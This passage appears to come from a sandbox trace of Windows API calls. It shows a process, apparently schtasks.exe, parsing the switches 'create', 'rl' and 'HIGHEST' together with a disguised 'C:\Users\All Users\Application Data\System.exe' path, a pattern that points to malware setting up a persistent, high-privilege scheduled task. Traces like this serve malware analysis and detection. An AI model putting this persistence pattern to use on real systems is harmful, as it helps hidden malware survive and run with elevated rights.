wMatch=0x6c) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0128.451] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0128.452] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.452] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0128.452] GetLastError () returned 0x0 [0128.452] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0128.452] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0128.452] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.452] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.452] lstrlenW (lpString="/rl") returned 3 [0128.452] lstrlenW (lpString="-/") returned 2 [0128.452] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.452] lstrlenW (lpString="create") returned 6 [0128.453] lstrlenW (lpString="create") returned 6 [0128.453] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.453] lstrlenW (lpString="rl") returned 2 [0128.453] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.453] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|create|") returned 8 [0128.453] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.453] lstrlenW (lpString="|create|") returned 8 [0128.453] lstrlenW (lpString="|rl|") returned 4 [0128.453] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0128.453] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.453] lstrlenW (lpString="?") returned 1 [0128.453] lstrlenW (lpString="?") returned 1 [0128.453] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.453] lstrlenW (lpString="rl") returned 2 [0128.453] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.453] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|?|") returned 3 [0128.453] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.453] lstrlenW (lpString="|?|") returned 3 [0128.453] lstrlenW (lpString="|rl|") returned 4 [0128.453] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.453] lstrlenW (lpString="s") returned 1 [0128.453] lstrlenW (lpString="s") returned 1 [0128.453] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.453] lstrlenW (lpString="rl") returned 2 [0128.453] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.453] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|s|") returned 3 [0128.454] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.454] lstrlenW (lpString="|s|") returned 3 [0128.454] lstrlenW (lpString="|rl|") returned 4 [0128.454] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.454] lstrlenW (lpString="u") returned 1 [0128.454] lstrlenW (lpString="u") returned 1 [0128.454] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.454] lstrlenW (lpString="rl") returned 2 [0128.454] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.454] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|u|") returned 3 [0128.454] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.454] lstrlenW (lpString="|u|") returned 3 [0128.454] lstrlenW (lpString="|rl|") returned 4 [0128.454] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.454] lstrlenW (lpString="p") returned 1 [0128.454] lstrlenW (lpString="p") returned 1 [0128.454] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.454] lstrlenW (lpString="rl") returned 2 [0128.454] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.454] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|p|") returned 3 [0128.454] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.454] lstrlenW (lpString="|p|") returned 3 [0128.454] lstrlenW (lpString="|rl|") returned 4 [0128.454] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.454] lstrlenW (lpString="ru") returned 2 [0128.454] lstrlenW (lpString="ru") returned 2 [0128.454] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.455] lstrlenW (lpString="rl") returned 2 [0128.455] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.455] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|ru|") returned 4 [0128.455] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.455] lstrlenW (lpString="|ru|") returned 4 [0128.455] lstrlenW (lpString="|rl|") returned 4 [0128.455] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0128.455] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.455] lstrlenW (lpString="rp") returned 2 [0128.455] lstrlenW (lpString="rp") returned 2 [0128.455] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.455] lstrlenW (lpString="rl") returned 2 [0128.455] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.455] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rp|") returned 4 [0128.455] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.455] lstrlenW (lpString="|rp|") returned 4 [0128.455] lstrlenW (lpString="|rl|") returned 4 [0128.455] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0128.455] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.455] lstrlenW (lpString="sc") returned 2 [0128.455] lstrlenW (lpString="sc") returned 2 [0128.455] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.455] lstrlenW (lpString="rl") returned 2 [0128.455] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.455] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sc|") returned 4 [0128.455] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.455] lstrlenW (lpString="|sc|") returned 4 [0128.456] lstrlenW (lpString="|rl|") returned 4 [0128.456] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0128.456] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.456] lstrlenW (lpString="mo") returned 2 [0128.456] lstrlenW (lpString="mo") returned 2 [0128.456] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.456] lstrlenW (lpString="rl") returned 2 [0128.456] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.456] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|mo|") returned 4 [0128.456] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.456] lstrlenW (lpString="|mo|") returned 4 [0128.456] lstrlenW (lpString="|rl|") returned 4 [0128.456] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0128.456] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.456] lstrlenW (lpString="d") returned 1 [0128.456] lstrlenW (lpString="d") returned 1 [0128.456] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.456] lstrlenW (lpString="rl") returned 2 [0128.456] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.456] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|d|") returned 3 [0128.456] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.456] lstrlenW (lpString="|d|") returned 3 [0128.456] lstrlenW (lpString="|rl|") returned 4 [0128.456] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.456] lstrlenW (lpString="m") returned 1 [0128.456] lstrlenW (lpString="m") returned 1 [0128.456] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.456] lstrlenW (lpString="rl") returned 2 [0128.457] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.457] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|m|") returned 3 [0128.457] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.457] lstrlenW (lpString="|m|") returned 3 [0128.457] lstrlenW (lpString="|rl|") returned 4 [0128.457] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.457] lstrlenW (lpString="i") returned 1 [0128.457] lstrlenW (lpString="i") returned 1 [0128.457] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.457] lstrlenW (lpString="rl") returned 2 [0128.457] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.457] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|i|") returned 3 [0128.457] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.457] lstrlenW (lpString="|i|") returned 3 [0128.457] lstrlenW (lpString="|rl|") returned 4 [0128.457] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.457] lstrlenW (lpString="tn") returned 2 [0128.457] lstrlenW (lpString="tn") returned 2 [0128.457] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.457] lstrlenW (lpString="rl") returned 2 [0128.457] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.457] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.457] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.457] lstrlenW (lpString="|tn|") returned 4 [0128.457] lstrlenW (lpString="|rl|") returned 4 [0128.457] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0128.457] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.458] lstrlenW (lpString="tr") returned 2 [0128.458] lstrlenW (lpString="tr") returned 2 [0128.458] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.458] lstrlenW (lpString="rl") returned 2 [0128.458] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.458] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.458] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.458] lstrlenW (lpString="|tr|") returned 4 [0128.458] lstrlenW (lpString="|rl|") returned 4 [0128.458] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0128.458] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.458] lstrlenW (lpString="st") returned 2 [0128.458] lstrlenW (lpString="st") returned 2 [0128.458] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.458] lstrlenW (lpString="rl") returned 2 [0128.458] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.458] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|st|") returned 4 [0128.458] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.458] lstrlenW (lpString="|st|") returned 4 [0128.458] lstrlenW (lpString="|rl|") returned 4 [0128.458] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0128.458] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.458] lstrlenW (lpString="sd") returned 2 [0128.458] lstrlenW (lpString="sd") returned 2 [0128.458] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.458] lstrlenW (lpString="rl") returned 2 [0128.458] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.459] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sd|") returned 4 [0128.459] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.459] lstrlenW (lpString="|sd|") returned 4 [0128.459] lstrlenW (lpString="|rl|") returned 4 [0128.459] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0128.459] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.459] lstrlenW (lpString="ed") returned 2 [0128.459] lstrlenW (lpString="ed") returned 2 [0128.459] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.459] lstrlenW (lpString="rl") returned 2 [0128.459] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.459] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|ed|") returned 4 [0128.459] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.459] lstrlenW (lpString="|ed|") returned 4 [0128.459] lstrlenW (lpString="|rl|") returned 4 [0128.459] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0128.459] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.459] lstrlenW (lpString="it") returned 2 [0128.459] lstrlenW (lpString="it") returned 2 [0128.459] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.459] lstrlenW (lpString="rl") returned 2 [0128.459] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.459] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|it|") returned 4 [0128.459] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.459] lstrlenW (lpString="|it|") returned 4 [0128.459] lstrlenW (lpString="|rl|") returned 4 [0128.459] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0128.460] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.460] lstrlenW (lpString="et") returned 2 [0128.460] lstrlenW (lpString="et") returned 2 [0128.460] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.460] lstrlenW (lpString="rl") returned 2 [0128.460] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.460] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|et|") returned 4 [0128.460] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.460] lstrlenW (lpString="|et|") returned 4 [0128.460] lstrlenW (lpString="|rl|") returned 4 [0128.460] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0128.460] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.460] lstrlenW (lpString="k") returned 1 [0128.460] lstrlenW (lpString="k") returned 1 [0128.460] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.460] lstrlenW (lpString="rl") returned 2 [0128.460] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.460] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|k|") returned 3 [0128.460] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.460] lstrlenW (lpString="|k|") returned 3 [0128.460] lstrlenW (lpString="|rl|") returned 4 [0128.460] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.460] lstrlenW (lpString="du") returned 2 [0128.460] lstrlenW (lpString="du") returned 2 [0128.460] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.460] lstrlenW (lpString="rl") returned 2 [0128.460] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.461] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|du|") returned 4 [0128.461] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.461] lstrlenW (lpString="|du|") returned 4 [0128.461] lstrlenW (lpString="|rl|") returned 4 [0128.461] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0128.461] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.461] lstrlenW (lpString="ri") returned 2 [0128.461] lstrlenW (lpString="ri") returned 2 [0128.461] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.461] lstrlenW (lpString="rl") returned 2 [0128.461] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.461] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|ri|") returned 4 [0128.461] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.461] lstrlenW (lpString="|ri|") returned 4 [0128.461] lstrlenW (lpString="|rl|") returned 4 [0128.461] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0128.461] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.461] lstrlenW (lpString="z") returned 1 [0128.461] lstrlenW (lpString="z") returned 1 [0128.461] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.461] lstrlenW (lpString="rl") returned 2 [0128.461] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.461] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|z|") returned 3 [0128.461] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.461] lstrlenW (lpString="|z|") returned 3 [0128.461] lstrlenW (lpString="|rl|") returned 4 [0128.461] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.461] lstrlenW (lpString="f") returned 1 [0128.462] lstrlenW (lpString="f") returned 1 [0128.462] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.462] lstrlenW (lpString="rl") returned 2 [0128.462] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.462] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.462] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.462] lstrlenW (lpString="|f|") returned 3 [0128.462] lstrlenW (lpString="|rl|") returned 4 [0128.462] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.462] lstrlenW (lpString="v1") returned 2 [0128.462] lstrlenW (lpString="v1") returned 2 [0128.462] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.462] lstrlenW (lpString="rl") returned 2 [0128.462] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.463] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|v1|") returned 4 [0128.463] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.463] lstrlenW (lpString="|v1|") returned 4 [0128.463] lstrlenW (lpString="|rl|") returned 4 [0128.463] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0128.463] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.463] lstrlenW (lpString="xml") returned 3 [0128.463] lstrlenW (lpString="xml") returned 3 [0128.463] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.463] lstrlenW (lpString="rl") returned 2 [0128.463] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.463] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|xml|") returned 5 [0128.463] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.463] lstrlenW (lpString="|xml|") returned 5 [0128.463] lstrlenW (lpString="|rl|") returned 4 [0128.463] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0128.463] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.463] lstrlenW (lpString="ec") returned 2 [0128.463] lstrlenW (lpString="ec") returned 2 [0128.463] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.463] lstrlenW (lpString="rl") returned 2 [0128.463] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.463] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|ec|") returned 4 [0128.463] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.463] lstrlenW (lpString="|ec|") returned 4 [0128.464] lstrlenW (lpString="|rl|") returned 4 [0128.464] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0128.464] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.464] lstrlenW (lpString="rl") returned 2 [0128.464] lstrlenW (lpString="rl") returned 2 [0128.464] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.464] lstrlenW (lpString="rl") returned 2 [0128.464] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.464] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.464] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rl|") returned 4 [0128.464] lstrlenW (lpString="|rl|") returned 4 [0128.464] lstrlenW (lpString="|rl|") returned 4 [0128.464] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0128.464] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.464] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.464] lstrlenW (lpString="HIGHEST") returned 7 [0128.464] lstrlenW (lpString="-/") 